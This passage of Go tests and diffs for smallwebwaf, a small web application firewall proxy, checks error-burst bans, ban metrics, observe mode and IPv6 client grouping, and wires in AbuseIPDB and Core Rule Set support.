rulesDir: writeRules(t, testRules),
adminToken: adminSecret,
metricsToken: token,
}
maps.Copy(settings, env)
return startWithClock(t, "", settings)
}
func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name string
// refusals are four, one over the threshold of three.
refusals []refused
}{
{"block rule", []refused{blockRule, blockRule, blockRule, blockRule}},
{
"missing or wrong token",
[]refused{noMetricsToken, wrongAdminToken, noMetricsToken, wrongAdminToken},
},
{
"a mix ending in a ban rule",
[]refused{blockRule, noMetricsToken, blockRule, banRule},
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
s, _, _ := startForErrorBurst(t, "3", nil)
// Three refusals break nothing, and the app's answers between
// them are not counted.
for i, r := range tc.refusals[:3] {
line := r.send(s, client)
if line.LimitHit != "" || line.Offence != "" {
t.Errorf("refusal %d: log line has limit_hit %q and offence %q, "+
"want none", i+1, line.LimitHit, line.Offence)
}
s.get(client, http.StatusOK, requestlog.ActionForward)
}
// The fourth is answered as the others were, breaks the error
// burst, and bans the client.
line := tc.refusals[3].send(s, client)
if line.LimitHit != requestlog.LimitHitErrorBurst ||
line.Offence != requestlog.OffenceLimit {
t.Errorf("log line has limit_hit %q and offence %q, want error_burst "+
"and limit", line.LimitHit, line.Offence)
}
s.get(client, http.StatusForbidden, requestlog.ActionBanned)
})
}
}
func TestErrorBurstBanNotesHistoryAndMetrics(t *testing.T) {
t.Parallel()
const scraper = "192.0.2.200"
s, clk, server := startForErrorBurst(t, "2", nil)
start := clk.Now()
blockRule.send(s, client)
wrongAdminToken.send(s, client)
line := blockRule.send(s, client)
expires := start.Add(time.Hour)
if line.BanExpires != requestlog.FormatTime(expires) {
t.Errorf("log line has ban_expires %q, want an hour on", line.BanExpires)
}
netblock := netip.MustParsePrefix(client + "/32")
want := bans.Ban{
Netblock: netblock,
Start: start,
Expires: expires,
Cause: bans.CauseLimit,
Reason: "refusals per minute over the limit of 2",
Notes: bans.Notes{
Kind: ratelimit.KindRefusals,
Limit: 2,
Window: minute,
Count: 3,
Request: bans.Request{
Time: start,
Method: http.MethodGet,
Host: appHost,
Path: blockedPath,
Status: http.StatusForbidden,
UserAgent: userAgent,
},
Requests: 3,
},
}
got := server.Ledger.Bans(netblock)
if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
}
wantOffences := ratelimit.Offences{Limit: 1, RuleBlocked: 2, TokenRefused: 1}
if offences := historyOf(t, server, client).Offences; offences != wantOffences {
t.Errorf("history counts the offences %+v, want %+v", offences, wantOffences)
}
metrics := s.scrape(scraper)
wantMetric(t, metrics, `smallwebwaf_rate_limit_hits_total{instance="app",`+
`kind="refusals",window="minute"}`, 1)
wantMetric(t, metrics, `smallwebwaf_offences_total{instance="app",kind="limit"}`, 1)
wantMetric(t, metrics,
`smallwebwaf_offences_total{instance="app",kind="rule_blocked"}`, 2)
wantMetric(t, metrics,
`smallwebwaf_offences_total{instance="app",kind="token_refused"}`, 1)
wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 1)
}
func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
t.Parallel()
geojsURL, _ := startGeoJS(t)
s, _, server := startWithClock(t, geojsURL, map[string]string{
lookupTimeout: "1h",
errorBurstThreshold: "2",
rulesDir: writeRules(t, testRules),
countryLimitPercent: countryDEHalf,
})
// Half of the threshold would be one, which the second refusal is over.
for range 2 {
line := blockRule.send(s, fromDE)
if line.LimitHit != "" {
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
}
}
blockRule.send(s, fromDE)
got := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32"))
if len(got) != 1 || got[0].Notes.Limit != 2 || got[0].Notes.LimitPercent != nil {
t.Errorf("bans %+v, want one for the limit of 2, without a limit percentage", got)
}
}
func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
t.Parallel()
statuses := map[string]int{
"/missing": http.StatusNotFound,
"/private": http.StatusUnauthorized,
"/forbidden": http.StatusForbidden,
}
s, _, _, queue := startAppWithAlerts(t, func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(statuses[r.URL.Path])
}, map[string]string{errorBurstThreshold: "1", rulesDir: writeRules(t, testRules)})
for range 2 {
for path, status := range statuses {
s.request(client, path, status, requestlog.ActionForward)
}
}
// The first refusal is one, not over the threshold.
line := blockRule.send(s, client)
if line.LimitHit != "" {
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
}
// No ban was made, nor its alert raised.
s.request(client, "/missing", http.StatusNotFound, requestlog.ActionForward)
wantAlerts(t, queue)
}
func TestErrorBurstOffOrAtItsDefault(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
threshold string
// broken is whether the 31st refusal breaks the error burst.
broken bool
}{
{"", true},
{off, false},
} {
t.Run(errorBurstThreshold+"="+tc.threshold, func(t *testing.T) {
t.Parallel()
env := map[string]string{rulesDir: writeRules(t, testRules)}
if tc.threshold != "" {
env[errorBurstThreshold] = tc.threshold
}
s, _, _ := startWithClock(t, "", env)
var line logLine
for range 31 {
line = blockRule.send(s, client)
}
if broken := line.LimitHit == requestlog.LimitHitErrorBurst; broken != tc.broken {
t.Errorf("the 31st refusal broke the error burst: %t, want %t",
broken, tc.broken)
}
})
}
}
func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
t.Parallel()
const (
allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
exempt = "192.0.2.50" // in SWWAF_RATE_LIMIT_EXEMPT_NETS
)
s, _, _ := startForErrorBurst(t, "1", map[string]string{
allowNets: allowed, rateLimitExemptNets: exempt,
})
// A client in SWWAF_ALLOW_NETS still needs the token, but is not
// counted.
for range 3 {
line := noMetricsToken.send(s, allowed)
if line.LimitHit != "" {
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
}
}
// One the rate limits do not apply to is.
noMetricsToken.send(s, exempt)
line := wrongAdminToken.send(s, exempt)
if line.LimitHit != requestlog.LimitHitErrorBurst {
t.Errorf("log line has limit_hit %q, want error_burst", line.LimitHit)
}
s.get(exempt, http.StatusForbidden, requestlog.ActionBanned)
}
func TestErrorBurstBanSetsTheRefusalsBackToZero(t *testing.T) {
t.Parallel()
s, clk, _ := startForErrorBurst(t, "1", map[string]string{limitBanDuration: "1s"})
blockRule.send(s, client)
blockRule.send(s, client)
// Within the same minute, once the ban has ended, the next refusal is
// the first again.
clk.advance(time.Second)
line := blockRule.send(s, client)
if line.LimitHit != "" {
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
}
}
func TestObserveModeLogsAndAlertsTheErrorBurst(t *testing.T) {
t.Parallel()
s, clk, server, queue := startWithAlerts(t, map[string]string{
mode: observe,
errorBurstThreshold: "1",
rulesDir: writeRules(t, testRules),
adminToken: adminSecret,
})
start := clk.Now()
held := bans.Ban{
Netblock: netip.MustParsePrefix(otherClient + "/32"),
Start: start,
Expires: start.Add(time.Hour),
Cause: bans.CauseAdmin,
}
server.Ledger.Load([]bans.Ban{held})
// Under a ban, enforce mode would have refused these before the
// endpoint, so their tokens are not counted.
for range 2 {
line := wrongAdminToken.send(s, otherClient)
wantWouldAction(t, line, requestlog.ActionBanned)
if line.LimitHit != "" {
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
}
}
// The block rule's refusal, which enforce mode would have answered 403,
// is the second of the client's, and would have banned it.
wrongAdminToken.send(s, client)
line := s.request(client, blockedPath, http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionRuleBlocked)
if line.LimitHit != requestlog.LimitHitErrorBurst || line.BanExpires != "" {
t.Errorf("log line has limit_hit %q and ban_expires %q, want error_burst "+
"and none", line.LimitHit, line.BanExpires)
}
if got := server.Ledger.Snapshot(); len(got) != 1 || !reflect.DeepEqual(got[0], held) {
t.Errorf("bans %+v, want only the one held", got)
}
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 1 {
t.Fatalf("%d alerts wait, want 1: %+v", len(waiting), waiting)
}
notes, _ := waiting[0].Detail["notes"].(bans.Notes)
if notes.Kind != ratelimit.KindRefusals || notes.Count != 2 ||
notes.Request.Status != http.StatusForbidden {
t.Errorf("the alert's notes are %+v, want two refusals, the last answered 403",
notes)
}
alert := banAlert(alerts.EventBan, start, client, bans.Ban{
Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
Reason: "refusals per minute over the limit of 1", Notes: notes,
}, requestlog.FormatTime(start.Add(time.Hour)))
alert.Detail["mode"] = observe
wantAlerts(t, queue, alert)
}
+19
View File
@@ -18,6 +18,7 @@ func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
s, clk, server := startWithClock(t, geojsURL, map[string]string{ s, clk, server := startWithClock(t, geojsURL, map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "2", rateLimitPerMinute: "2",
deniedCountries: "kp", deniedCountries: "kp",
}) })
@@ -56,6 +57,24 @@ func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
} }
} }
func TestTableOfClientsHoldsAtMostMaxTrackedClients(t *testing.T) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{maxTrackedClients: "2"})
// The third client drops the least recently seen, the first, with its
// history.
for _, from := range []string{"192.0.2.1", "192.0.2.2", "192.0.2.3"} {
s.get(from, http.StatusOK, requestlog.ActionForward)
}
_, held := server.Limiter.Client(netip.MustParsePrefix("192.0.2.1/32"))
if server.Limiter.Len() != 2 || held {
t.Errorf("the table holds %d clients, the first among them: %t; want 2, "+
"without it", server.Limiter.Len(), held)
}
}
func TestHistoryCountsTheBodiesEachWay(t *testing.T) { func TestHistoryCountsTheBodiesEachWay(t *testing.T) {
t.Parallel() t.Parallel()
+2 -2
View File
@@ -31,9 +31,9 @@ func (rq *request) lookUp(ctx context.Context) {
} }
if rq.h.config.LookupSource == "file" { if rq.h.config.LookupSource == "file" {
rq.lookupAnswer = rq.h.lookupFile.LookUp(clientGroup(rq.client)) rq.lookupAnswer = rq.h.lookupFile.LookUp(rq.h.clientGroup(rq.client))
} else { } else {
rq.lookupAnswer = rq.h.geojs.LookUp(ctx, clientGroup(rq.client)) rq.lookupAnswer = rq.h.geojs.LookUp(ctx, rq.h.clientGroup(rq.client))
} }
rq.lookedUp = true rq.lookedUp = true
+2
View File
@@ -249,6 +249,7 @@ func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(t *testing.T) {
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
addr, out, _ := startProxyWithClock(t, app.URL, geojsURL, time.Now, map[string]string{ addr, out, _ := startProxyWithClock(t, app.URL, geojsURL, time.Now, map[string]string{
trustedProxies: trustLocalhost, trustedProxies: trustLocalhost,
lookupTimeout: "1h",
addLookupHeaders: "true", addLookupHeaders: "true",
}) })
s := &sender{t: t, addr: addr, out: out} s := &sender{t: t, addr: addr, out: out}
@@ -349,6 +350,7 @@ const unansweredGeoJSURL = "unanswered://geojs/v1/ip/geo.json"
func TestMain(m *testing.M) { func TestMain(m *testing.M) {
transport, _ := http.DefaultTransport.(*http.Transport) transport, _ := http.DefaultTransport.(*http.Transport)
transport.RegisterProtocol("unanswered", unansweredGeoJS{}) transport.RegisterProtocol("unanswered", unansweredGeoJS{})
transport.RegisterProtocol("abuseipdb", abuseIPDBStandIn{})
m.Run() m.Run()
} }
+3 -1
View File
@@ -5,6 +5,7 @@ import (
"io" "io"
"net/http" "net/http"
"net/netip" "net/netip"
"reflect"
"sync/atomic" "sync/atomic"
"testing" "testing"
"time" "time"
@@ -38,6 +39,7 @@ func TestObserveModeForwardsWhatEnforceModeRefuses(t *testing.T) {
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
env := map[string]string{ env := map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "1", rateLimitPerMinute: "1",
denyNets: denied, denyNets: denied,
deniedCountries: "kp", deniedCountries: "kp",
@@ -126,7 +128,7 @@ func TestObserveModeMakesNoBanAndKeepsTheBansItHas(t *testing.T) {
} }
got := server.Ledger.Snapshot() got := server.Ledger.Snapshot()
if len(got) != 1 || got[0] != kept { if len(got) != 1 || !reflect.DeepEqual(got[0], kept) {
t.Errorf("bans\n%+v\nwant only\n%+v", got, kept) t.Errorf("bans\n%+v\nwant only\n%+v", got, kept)
} }
} }
+20 -1
View File
@@ -320,7 +320,7 @@ func TestServerHasTheDefaultLimits(t *testing.T) {
server := proxy.New(proxy.Params{ server := proxy.New(proxy.Params{
Config: cfg, Config: cfg,
RequestLog: io.Discard, RequestLog: io.Discard,
ProcessLog: requestlog.NewProcessLogger(io.Discard, cfg.InstanceName), ProcessLog: requestlog.NewProcessLogger(io.Discard, cfg.InstanceName, cfg.LogLevel),
}) })
if server.Addr != ":8080" || server.MaxHeaderBytes != 28<<10 || if server.Addr != ":8080" || server.MaxHeaderBytes != 28<<10 ||
@@ -399,6 +399,25 @@ func TestAnswers502WhenTheAppCannotBeReached(t *testing.T) {
} }
} }
func TestLogLevelHoldsBackNoRequestLine(t *testing.T) {
t.Parallel()
// At error the warning that the request to the app failed is held back,
// and is written before the answer is.
addr, out := startProxy(t, "http://"+localhost+":1", map[string]string{
"SWWAF_LOG_LEVEL": "error",
})
wantStatus(t, get(t, addr, "/"), http.StatusBadGateway)
wantLine(t, out.requestLine(t), http.StatusBadGateway, requestlog.ActionUpstreamError)
for _, line := range out.lines(t) {
if line["type"] == "process" {
t.Errorf("process line %v, want none at error", line)
}
}
}
func TestLogsAnAnswerThatBrokeOff(t *testing.T) { func TestLogsAnAnswerThatBrokeOff(t *testing.T) {
t.Parallel() t.Parallel()
+89 -35
View File
@@ -21,6 +21,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/reputation" "sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/rules" "sneak.berlin/go/smallwebwaf/internal/rules"
"sneak.berlin/go/smallwebwaf/internal/waf"
) )
// How smallwebwaf keeps connections to the app open between requests. // How smallwebwaf keeps connections to the app open between requests.
@@ -59,6 +60,9 @@ type Params struct {
// GeoJSURL is where clients' AS numbers and countries are looked up // GeoJSURL is where clients' AS numbers and countries are looked up
// while SWWAF_LOOKUP_SOURCE is geojs, normally lookup.URL. // while SWWAF_LOOKUP_SOURCE is geojs, normally lookup.URL.
GeoJSURL string GeoJSURL string
// AbuseIPDBURL is where clients are checked with AbuseIPDB while
// SWWAF_ABUSEIPDB_KEY is set, normally reputation.AbuseIPDBURL.
AbuseIPDBURL string
// LookupFile is the lookup database they are looked up in while // LookupFile is the lookup database they are looked up in while
// SWWAF_LOOKUP_SOURCE is file, and nil otherwise. // SWWAF_LOOKUP_SOURCE is file, and nil otherwise.
LookupFile *lookup.File LookupFile *lookup.File
@@ -71,15 +75,19 @@ type Params struct {
Rules *rules.Files Rules *rules.Files
// Alerts receive the alert for each ban the proxy makes or makes // Alerts receive the alert for each ban the proxy makes or makes
// permanent, for each count over an anomaly threshold, for each request // permanent, for each count over an anomaly threshold, for each request
// whose client a blocklist or a DNSBL zone lists, and for GeoJS failing, // whose client a blocklist, the CrowdSec decision list, a DNSBL zone or
// a fetch of a list failing or a query to a DNSBL zone failing. // AbuseIPDB lists, for each request the Core Rule Set scores at or over
// SWWAF_WAF_ANOMALY_THRESHOLD, and for GeoJS failing, a fetch of a list
// failing, a query to a DNSBL zone or a check with AbuseIPDB failing,
// or the day's AbuseIPDB checks used up.
Alerts *alerts.Queue Alerts *alerts.Queue
} }
// Server is the server smallwebwaf runs, with the parts of the proxy // Server is the server smallwebwaf runs, with the parts of the proxy
// whose state the state files keep, the lookup database, nil unless // whose state the state files keep, the lookup database, nil unless
// SWWAF_LOOKUP_SOURCE is file, the lists fetched from URLs, which its Run // SWWAF_LOOKUP_SOURCE is file, the lists fetched from URLs, which its Run
// fetches, the DNSBL zones' verdicts, and the metrics. // fetches, the DNSBL zones' verdicts, AbuseIPDB's scores and checks
// spent, and the metrics.
type Server struct { type Server struct {
*http.Server *http.Server
@@ -90,6 +98,7 @@ type Server struct {
LookupFile *lookup.File LookupFile *lookup.File
Lists *reputation.Lists Lists *reputation.Lists
DNSBL *reputation.DNSBL DNSBL *reputation.DNSBL
AbuseIPDB *reputation.AbuseIPDB
Metrics *metrics.Metrics Metrics *metrics.Metrics
} }
@@ -102,7 +111,7 @@ type Server struct {
func New(params Params) *Server { func New(params Params) *Server {
errorLog := slog.NewLogLogger(params.ProcessLog.Handler(), slog.LevelWarn) errorLog := slog.NewLogLogger(params.ProcessLog.Handler(), slog.LevelWarn)
m := metrics.New(params.Config.MetricsTopN, params.Config.InstanceName) m := metrics.New(params.Config.MetricsTopN, params.Config.InstanceName)
lists, dnsbl := newReputation(params) lists, dnsbl, abuseIPDB := newReputation(params, m)
h := &handler{ h := &handler{
config: params.Config, config: params.Config,
requestLog: params.RequestLog, requestLog: params.RequestLog,
@@ -118,7 +127,7 @@ func New(params Params) *Server {
BytesPerMinute: params.Config.BytesLimitPerMinute, BytesPerMinute: params.Config.BytesLimitPerMinute,
BytesPerHour: params.Config.BytesLimitPerHour, BytesPerHour: params.Config.BytesLimitPerHour,
BytesPerDay: params.Config.BytesLimitPerDay, BytesPerDay: params.Config.BytesLimitPerDay,
}), }, params.Config.MaxTrackedClients),
ledger: bans.New(bans.Rules{ ledger: bans.New(bans.Rules{
LimitBanDuration: params.Config.LimitBanDuration, LimitBanDuration: params.Config.LimitBanDuration,
LimitBanRepeatWindow: params.Config.LimitBanRepeatWindow, LimitBanRepeatWindow: params.Config.LimitBanRepeatWindow,
@@ -137,11 +146,13 @@ func New(params Params) *Server {
NamedNetblocks: params.Config.WatchNets, NamedNetblocks: params.Config.WatchNets,
Alerts: params.Alerts, Alerts: params.Alerts,
}), }),
lookupFile: params.LookupFile, lookupFile: params.LookupFile,
lists: lists, lists: lists,
dnsbl: dnsbl, dnsbl: dnsbl,
rules: params.Rules, abuseIPDB: abuseIPDB,
alerts: params.Alerts, rules: params.Rules,
coreRuleSet: newCoreRuleSet(params.Config),
alerts: params.Alerts,
} }
h.geojs = lookup.New(lookup.Params{ h.geojs = lookup.New(lookup.Params{
URL: params.GeoJSURL, URL: params.GeoJSURL,
@@ -159,7 +170,6 @@ func New(params Params) *Server {
}) })
m.AddBansAndClients(h.ledger, h.limiter, params.Now) m.AddBansAndClients(h.ledger, h.limiter, params.Now)
m.AddRules(params.Rules) m.AddRules(params.Rules)
m.AddReputation(h.lists, h.dnsbl)
return &Server{ return &Server{
Server: &http.Server{ Server: &http.Server{
@@ -181,48 +191,89 @@ func New(params Params) *Server {
LookupFile: h.lookupFile, LookupFile: h.lookupFile,
Lists: h.lists, Lists: h.lists,
DNSBL: h.dnsbl, DNSBL: h.dnsbl,
AbuseIPDB: h.abuseIPDB,
Metrics: m, Metrics: m,
} }
} }
// newReputation returns the lists fetched from URLs and the DNSBL zones' // newReputation returns the lists fetched from URLs, the DNSBL zones'
// verdicts, as the settings in params name them, with none fetched or // verdicts and AbuseIPDB's scores, as the settings in params name them,
// asked for yet. // with none fetched, asked for or checked yet, and adds their metrics to
func newReputation(params Params) (*reputation.Lists, *reputation.DNSBL) { // m, AbuseIPDB's while SWWAF_ABUSEIPDB_KEY is set.
func newReputation(
params Params, m *metrics.Metrics,
) (*reputation.Lists, *reputation.DNSBL, *reputation.AbuseIPDB) {
cfg := params.Config cfg := params.Config
lists := reputation.New(reputation.Params{ lists := reputation.New(reputation.Params{
BlocklistURLs: cfg.BlocklistURLs, Refresh: cfg.BlocklistRefresh, BlocklistURLs: cfg.BlocklistURLs, Refresh: cfg.BlocklistRefresh,
ASNLimitPercentURL: cfg.ASNLimitPercentURL, Now: params.Now, ASNLimitPercentURL: cfg.ASNLimitPercentURL,
ProcessLog: params.ProcessLog, Alerts: params.Alerts, CrowdSecDecisionsURL: cfg.CrowdSecDecisionsURL, CrowdSecKey: cfg.CrowdSecKey,
Now: params.Now, ProcessLog: params.ProcessLog, Alerts: params.Alerts,
}) })
dnsbl := reputation.NewDNSBL(reputation.DNSBLParams{ dnsbl := reputation.NewDNSBL(reputation.DNSBLParams{
Zones: cfg.DNSBLZones, Resolver: cfg.DNSBLResolver, CacheTTL: cfg.ReputationCacheTTL, Zones: cfg.DNSBLZones, Resolver: cfg.DNSBLResolver, CacheTTL: cfg.ReputationCacheTTL,
Timeout: cfg.ReputationTimeout, Now: params.Now, ProcessLog: params.ProcessLog, Timeout: cfg.ReputationTimeout, Now: params.Now, ProcessLog: params.ProcessLog,
Alerts: params.Alerts, Alerts: params.Alerts,
}) })
abuseIPDB := reputation.NewAbuseIPDB(reputation.AbuseIPDBParams{
URL: params.AbuseIPDBURL, Key: cfg.AbuseIPDBKey, MinScore: cfg.AbuseIPDBMinScore,
DailyBudget: cfg.AbuseIPDBDailyBudget, CacheTTL: cfg.ReputationCacheTTL,
Timeout: cfg.ReputationTimeout, Now: params.Now, ProcessLog: params.ProcessLog,
Alerts: params.Alerts,
})
return lists, dnsbl m.AddReputation(lists, dnsbl)
if cfg.AbuseIPDBKey != "" {
m.AddAbuseIPDB(abuseIPDB)
}
return lists, dnsbl, abuseIPDB
}
// newCoreRuleSet returns the Core Rule Set at SWWAF_WAF_PARANOIA_LEVEL,
// without the rules SWWAF_WAF_DISABLED_RULES switches off, reading bodies
// up to SWWAF_WAF_BODY_LIMIT, or nil while SWWAF_WAF_MODE is off.
func newCoreRuleSet(cfg *config.Config) *waf.CoreRuleSet {
if cfg.WAFMode == config.WAFModeOff {
return nil
}
coreRuleSet, err := waf.New(waf.Params{
ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
BodyLimit: cfg.WAFBodyLimit,
})
if err != nil {
// The Core Rule Set is built in, and the settings cannot break it:
// the paranoia level is from 1 to 4, the body limit at most 1G, and
// the id of no rule switches nothing off.
panic(err)
}
return coreRuleSet
} }
// handler is the proxy. It holds what every request shares; what belongs // handler is the proxy. It holds what every request shares; what belongs
// to one request is in a request. // to one request is in a request.
type handler struct { type handler struct {
config *config.Config config *config.Config
requestLog io.Writer requestLog io.Writer
processLog *slog.Logger processLog *slog.Logger
errorLog *log.Logger errorLog *log.Logger
transport http.RoundTripper transport http.RoundTripper
now func() time.Time now func() time.Time
metrics *metrics.Metrics metrics *metrics.Metrics
limiter *ratelimit.Limiter limiter *ratelimit.Limiter
ledger *bans.Ledger ledger *bans.Ledger
geojs *lookup.GeoJS geojs *lookup.GeoJS
anomalies *anomaly.Counters anomalies *anomaly.Counters
lookupFile *lookup.File lookupFile *lookup.File
lists *reputation.Lists lists *reputation.Lists
dnsbl *reputation.DNSBL dnsbl *reputation.DNSBL
rules *rules.Files abuseIPDB *reputation.AbuseIPDB
alerts *alerts.Queue rules *rules.Files
coreRuleSet *waf.CoreRuleSet
alerts *alerts.Queue
} }
// newTransport returns what carries requests to the app. It never goes // newTransport returns what carries requests to the app. It never goes
@@ -257,9 +308,12 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
return return
} }
// Once the request has ended, before its log line is written. // Once the request has ended, before its log line is written. The
// last deferred runs first: countRefusal before addToHistory, so that
// a broken error burst is in the client's history.
defer rq.addToHistory() defer rq.addToHistory()
defer rq.countAnomalies() defer rq.countAnomalies()
defer rq.countRefusal()
refused := rq.check(r.Context()) refused := rq.check(r.Context())
rq.checked = time.Now() rq.checked = time.Now()
+22 -11
View File
@@ -61,6 +61,8 @@ const (
requestMaxBytes = "SWWAF_REQUEST_MAX_BYTES" requestMaxBytes = "SWWAF_REQUEST_MAX_BYTES"
responseMaxBytes = "SWWAF_RESPONSE_MAX_BYTES" responseMaxBytes = "SWWAF_RESPONSE_MAX_BYTES"
trustedProxies = "SWWAF_TRUSTED_PROXIES" trustedProxies = "SWWAF_TRUSTED_PROXIES"
ipv6GroupPrefix = "SWWAF_IPV6_GROUP_PREFIX"
maxTrackedClients = "SWWAF_MAX_TRACKED_CLIENTS"
allowNets = "SWWAF_ALLOW_NETS" allowNets = "SWWAF_ALLOW_NETS"
rateLimitExemptNets = "SWWAF_RATE_LIMIT_EXEMPT_NETS" rateLimitExemptNets = "SWWAF_RATE_LIMIT_EXEMPT_NETS"
denyNets = "SWWAF_DENY_NETS" denyNets = "SWWAF_DENY_NETS"
@@ -83,8 +85,12 @@ const (
logRequestHeaders = "SWWAF_LOG_REQUEST_HEADERS" logRequestHeaders = "SWWAF_LOG_REQUEST_HEADERS"
attackBanDuration = "SWWAF_ATTACK_BAN_DURATION" attackBanDuration = "SWWAF_ATTACK_BAN_DURATION"
rulesDir = "SWWAF_RULES_DIR" rulesDir = "SWWAF_RULES_DIR"
wafMode = "SWWAF_WAF_MODE"
) )
// off is the value that switches a setting off.
const off = "off"
// output collects what smallwebwaf writes on stdout. // output collects what smallwebwaf writes on stdout.
type output struct { type output struct {
mu sync.Mutex mu sync.Mutex
@@ -268,7 +274,10 @@ func startProxyWithAlerts(
// queue: they wait in it, for the test to look at. With no geojsURL, there // queue: they wait in it, for the test to look at. With no geojsURL, there
// is no stand-in for GeoJS to look clients up at, and SWWAF_LOOKUP_SOURCE // is no stand-in for GeoJS to look clients up at, and SWWAF_LOOKUP_SOURCE
// is off unless env sets it. While it is file, the lookup database // is off unless env sets it. While it is file, the lookup database
// SWWAF_LOOKUP_DB_PATH names is read. // SWWAF_LOOKUP_DB_PATH names is read. Clients are checked with AbuseIPDB
// at abuseIPDBURL while env sets SWWAF_ABUSEIPDB_KEY. SWWAF_WAF_MODE is off
// unless env sets it, so that only the tests of the Core Rule Set have
// their requests inspected by it.
func newProxy( func newProxy(
t *testing.T, appURL, geojsURL string, now func() time.Time, t *testing.T, appURL, geojsURL string, now func() time.Time,
env map[string]string, env map[string]string,
@@ -277,9 +286,10 @@ func newProxy(
settings := map[string]string{ settings := map[string]string{
"SWWAF_UPSTREAM_URL": appURL, rulesDir: t.TempDir(), instanceName: "app", "SWWAF_UPSTREAM_URL": appURL, rulesDir: t.TempDir(), instanceName: "app",
wafMode: off,
} }
if geojsURL == "" { if geojsURL == "" {
settings[lookupSource] = "off" settings[lookupSource] = off
} }
maps.Copy(settings, env) maps.Copy(settings, env)
@@ -294,7 +304,7 @@ func newProxy(
} }
out := &output{} out := &output{}
processLog := requestlog.NewProcessLogger(out, cfg.InstanceName) processLog := requestlog.NewProcessLogger(out, cfg.InstanceName, cfg.LogLevel)
ruleFiles, err := rules.Load(rules.Params{ ruleFiles, err := rules.Load(rules.Params{
Dir: cfg.RulesDir, Enabled: cfg.RulesEnabled, ProcessLog: processLog, Dir: cfg.RulesDir, Enabled: cfg.RulesEnabled, ProcessLog: processLog,
@@ -325,14 +335,15 @@ func newProxy(
} }
server := proxy.New(proxy.Params{ server := proxy.New(proxy.Params{
Config: cfg, Config: cfg,
RequestLog: out, RequestLog: out,
ProcessLog: processLog, ProcessLog: processLog,
GeoJSURL: geojsURL, GeoJSURL: geojsURL,
LookupFile: lookupFile, AbuseIPDBURL: abuseIPDBURL,
Now: now, LookupFile: lookupFile,
Rules: ruleFiles, Now: now,
Alerts: alertQueue, Rules: ruleFiles,
Alerts: alertQueue,
}) })
return server, out, alertQueue return server, out, alertQueue
+43
View File
@@ -72,6 +72,49 @@ func TestRateLimitRefusesBeforeTheApp(t *testing.T) {
} }
} }
func TestIPv6GroupPrefixSetsTheClientTheLimitsCount(t *testing.T) {
t.Parallel()
// With SWWAF_IPV6_GROUP_PREFIX at 48, the first two addresses, in two
// /64s of one /48, are one client, and the second's request breaks the
// limit; the third, in the next /48, is another client.
const (
first = "2001:db8:9::1"
second = "2001:db8:9:1::1"
other = "2001:db8:a::1"
)
for _, tc := range []struct {
setting, value string
// status and action are those of the request that breaks the
// limit: a rate limit refuses it, a byte limit passes it on.
status int
action string
}{
{rateLimitPerMinute, "1", http.StatusForbidden, requestlog.ActionRateLimited},
{bytesLimitPerMinute, byteLimit, http.StatusOK, requestlog.ActionForward},
} {
t.Run(tc.setting, func(t *testing.T) {
t.Parallel()
s, _ := startWithAnswers(t, map[string]string{
ipv6GroupPrefix: "48", tc.setting: tc.value,
})
s.get(first, http.StatusOK, requestlog.ActionForward)
line := s.get(second, tc.status, tc.action)
if line.ClientGroup != "2001:db8:9::/48" ||
line.Offence != requestlog.OffenceLimit {
t.Errorf("log line has client_group %q and offence %q, "+
"want 2001:db8:9::/48 and limit", line.ClientGroup, line.Offence)
}
s.get(other, http.StatusOK, requestlog.ActionForward)
})
}
}
func TestRateLimitExemptPathsAreNeitherCountedNorRefused(t *testing.T) { func TestRateLimitExemptPathsAreNeitherCountedNorRefused(t *testing.T) {
t.Parallel() t.Parallel()
+84 -19
View File
@@ -2,10 +2,18 @@ package proxy
import ( import (
"context" "context"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/reputation"
) )
// deny is the SWWAF_BLOCKLIST_ACTION and the SWWAF_REPUTATION_ACTION that
// refuses the requests of a client a source lists.
const deny = "deny"
// blocklistDenied notes the blocklists that list the client, as // blocklistDenied notes the blocklists that list the client, as
// noteListed does, and reports whether SWWAF_BLOCKLIST_ACTION, being deny, // noteListed does, and reports whether SWWAF_BLOCKLIST_ACTION, being deny,
// refuses the request. Being limit, it lowers the client's limits instead // refuses the request. Being limit, it lowers the client's limits instead
